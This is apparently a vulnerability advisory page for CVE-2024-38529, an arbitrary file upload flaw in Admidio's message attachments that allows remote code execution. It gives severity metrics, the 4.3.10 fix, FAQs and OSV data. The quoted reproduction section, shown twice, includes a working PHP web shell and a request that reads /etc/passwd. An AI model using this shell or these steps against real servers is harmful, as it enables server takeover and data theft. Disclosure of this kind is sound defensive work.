CVE-2024-38529: Admidio/admidio Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-g872-jwwr-vggm
CVSS 9.0
CWE-434
Published
Advisory Summary

CVE-2024-38529 is a CRITICAL (CVSS 9.0) remote code execution vulnerability (CWE-434: Unrestricted Upload of File with Dangerous Type) affecting Admidio/admidio libraries in the Packagist ecosystem. The issue involves admidio vulnerable to rce via arbitrary file upload in message attachment. Remediation is available by upgrading affected packages to version 4.3.10.

CVE-2024-38529 at a Glance

CVE Identifier CVE-2024-38529
GHSA Identifier GHSA-g872-jwwr-vggm
Severity CRITICAL
CVSS v3.1 Base Score 9.0
CWE Classification CWE-434: Unrestricted Upload of File with Dangerous Type
Affected Product Admidio/admidio
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 9.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2024-38529

To remediate this vulnerability, upgrade all affected Admidio/admidio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

admidio/admidio fixed: 4.3.10
Upgrade admidio/admidio to 4.3.10
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for admidio/admidio

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-38529, inspect your project dependencies for Admidio/admidio:

inspect dependencies for admidio/admidio

Analyze the terminal output to locate any version of Admidio/admidio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.3.10), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-434: Unrestricted Upload of File with Dangerous Type, where the product allows the upload or transfer of dangerous file types that are automatically processed within its environment. In Admidio/admidio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Description: Remote Code Execution Vulnerability has been identified in the Message module of the Admidio Application, where it is possible to upload a PHP file in the attachment. The uploaded file can be accessed publicly through the URL `{admidio_base_url}/adm_my_files/messages_attachments/{file_name}`. The vulnerability is caused due to the lack of file extension verification, allowing malicious files to be uploaded to the server and public availability of the uploaded file. An attacker can upload a PHP web shell that executes OS commands on the server, compromising the application server. Note: I am using the docker-compose.yaml file from https://github.com/Admidio/admidio/blob/master/README-Docker.md#docker-compose-usage official documentation. ### Impact: An attacker can exploit this flaw to upload a PHP web shell, which can be used to execute arbitrary commands on the server. This can lead to a complete compromise of the application server, allowing the attacker to: - Execute arbitrary code or commands. - Access, modify, or delete sensitive data. - Install malicious software or scripts. - Gain further access to internal networks. - Disrupt services and applications hosted on the server. ### Recommendation: - Implement strict file extension verification to ensure that only allowed file types (e.g., images, documents) can be uploaded. - Reject any file upload with disallowed or suspicious extensions such as .php, .phtml, .exe, etc. ### Steps to Reproduce: 1. As a member user, go to write an email message. 2. Upload a PHP file in the Attachment, containing the following content: ``` <?php $command = isset($_GET['command']) ? $_GET['command'] : ''; $output = []; $return_var = 0; exec($command, $output, $return_var); echo '<h1>Exploiting RCE</h1>'; echo 'Command: '.$command; echo '\n<pre>'; echo implode("\n", $output); echo '</pre>'; ?> ``` 3. Send the email. 4. In the message history go to the sent message. 5. Download the file, to get the uploaded file name. 6. Go to the following URL: `{admidio_base_url}/adm_my_files/messages_attachments/{file_name}?command=cat+/etc/passwd` 7. The server's passwd file would be returned in the response. ### Proof Of Concept: ![image](https://github.com/Admidio/admidio/assets/59286712/51b524de-ec51-4875-80e9-e2037da9c573) _Figure 1: Code of messages_send.php, not having file extension verification._ ![image](https://github.com/Admidio/admidio/assets/59286712/74b47e6d-e2e9-4535-82e3-d6ad2f677361) _Figure 2: Uploading Webshell as attachment._ ![image](https://github.com/Admidio/admidio/assets/59286712/abea26eb-b36f-46db-9e3a-8a4ba82d9740) _Figure 3: Download the uploaded file to get the uploaded file name._ ![image](https://github.com/Admidio/admidio/assets/59286712/fbb14aae-d5c6-454b-bafa-8d03d6d8a208) _Figure 4: Uploaded File name._ ![image](https://github.com/Admidio/admidio/assets/59286712/f8436248-1768-4714-ad2d-87f157145c61) _Figure 5: RCE via web shell._ ![image](https://github.com/Admidio/admidio/assets/59286712/edc5b992-227f-43f9-bef9-87959766a63c) _Figure 6: RCE via Webshell._

CVE-2024-38529 Affected Admidio/admidio Versions

1 component(s)
Fixed Versions:
4.3.10
Product / Package Ecosystem Affected Versions Fixed Version
admidio/admidio
Packagist
< 4.3.10
4.3.10

References

Frequently Asked Questions

What is CVE-2024-38529?
CVE-2024-38529 is a security vulnerability in Admidio/admidio involving Admidio Vulnerable to RCE via Arbitrary File Upload in Message Attachment under CWE-434: Unrestricted Upload of File with Dangerous Type.
Which Admidio/admidio versions are affected?
Affected versions include releases prior to 4.3.10 across affected packages: admidio/admidio.
What version fixes CVE-2024-38529?
Upgrading to 4.3.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is admidio/admidio affected?
Yes, admidio/admidio is affected in releases prior to 4.3.10. Upgrade your dependency to 4.3.10 or later.
What is the CVSS score of CVE-2024-38529?
CVE-2024-38529 has a CVSS v3.1 base score of 9.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2024-38529?
CVE-2024-38529 is classified under CWE-434: Unrestricted Upload of File with Dangerous Type (The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.).
How can I check Packagist dependencies for CVE-2024-38529?
Run the dependency tree command: 'inspect dependencies for admidio/admidio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g872-jwwr-vggm",
  "modified" : "2024-07-29T16:32:32Z",
  "published" : "2024-07-29T16:32:32Z",
  "aliases" : [ "CVE-2024-38529" ],
  "summary" : "Admidio Vulnerable to RCE via Arbitrary File Upload in Message Attachment",
  "details" : "### Description:\nRemote Code Execution Vulnerability has been identified in the Message module of the Admidio Application, where it is possible to upload a PHP file in the attachment. The uploaded file can be accessed publicly through the URL `{admidio_base_url}/adm_my_files/messages_attachments/{file_name}`.\n\nThe vulnerability is caused due to the lack of file extension verification, allowing malicious files to be uploaded to the server and public availability of the uploaded file.\n\nAn attacker can upload a PHP web shell that executes OS commands on the server, compromising the application server.\n\nNote: I am using the docker-compose.yaml file from https://github.com/Admidio/admidio/blob/master/README-Docker.md#docker-compose-usage official documentation.\n\n### Impact:\nAn attacker can exploit this flaw to upload a PHP web shell, which can be used to execute arbitrary commands on the server. This can lead to a complete compromise of the application server, allowing the attacker to:\n\n- Execute arbitrary code or commands.\n- Access, modify, or delete sensitive data.\n- Install malicious software or scripts.\n- Gain further access to internal networks.\n- Disrupt services and applications hosted on the server.\n\n### Recommendation:\n\n- Implement strict file extension verification to ensure that only allowed file types (e.g., images, documents) can be uploaded.\n- Reject any file upload with disallowed or suspicious extensions such as .php, .phtml, .exe, etc.\n\n### Steps to Reproduce:\n1. As a member user, go to write an email message.\n2. Upload a PHP file in the Attachment, containing the following content:\n```\n<?php\n$command = isset($_GET['command']) ? $_GET['command'] : '';\n$output = [];\n$return_var = 0;\nexec($command, $output, $return_var);\necho '<h1>Exploiting RCE</h1>';\necho 'Command: '.$command;\necho '\\n<pre>';\necho implode(\"\\n\", $output);\necho '</pre>';\n?>\n```\n3. Send the email.\n4. In the message history go to the sent message.\n5. Download the file, to get the uploaded file name.\n6. Go to the following URL: \n`{admidio_base_url}/adm_my_files/messages_attachments/{file_name}?command=cat+/etc/passwd`\n7. The server's passwd file would be returned in the response.\n\n### Proof Of Concept:\n\n![image](https://github.com/Admidio/admidio/assets/59286712/51b524de-ec51-4875-80e9-e2037da9c573)\n\n_Figure 1: Code of messages_send.php, not having file extension verification._\n\n![image](https://github.com/Admidio/admidio/assets/59286712/74b47e6d-e2e9-4535-82e3-d6ad2f677361)\n\n_Figure 2: Uploading Webshell as attachment._\n\n![image](https://github.com/Admidio/admidio/assets/59286712/abea26eb-b36f-46db-9e3a-8a4ba82d9740)\n\n_Figure 3: Download the uploaded file to get the uploaded file name._\n\n![image](https://github.com/Admidio/admidio/assets/59286712/fbb14aae-d5c6-454b-bafa-8d03d6d8a208)\n\n_Figure 4: Uploaded File name._\n\n![image](https://github.com/Admidio/admidio/assets/59286712/f8436248-1768-4714-ad2d-87f157145c61)\n\n_Figure 5: RCE via web shell._\n\n![image](https://github.com/Admidio/admidio/assets/59286712/edc5b992-227f-43f9-bef9-87959766a63c)\n\n_Figure 6: RCE via Webshell._",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "admidio/admidio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.3.10"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/security/advisories/GHSA-g872-jwwr-vggm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-38529"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/commit/3b1cc1cda05747edebe15f2825b79bc5a673d94c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Admidio/admidio"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-434" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-07-29T16:32:32Z",
    "nvd_published_at" : "2024-07-29T15:15:10Z"
  }
}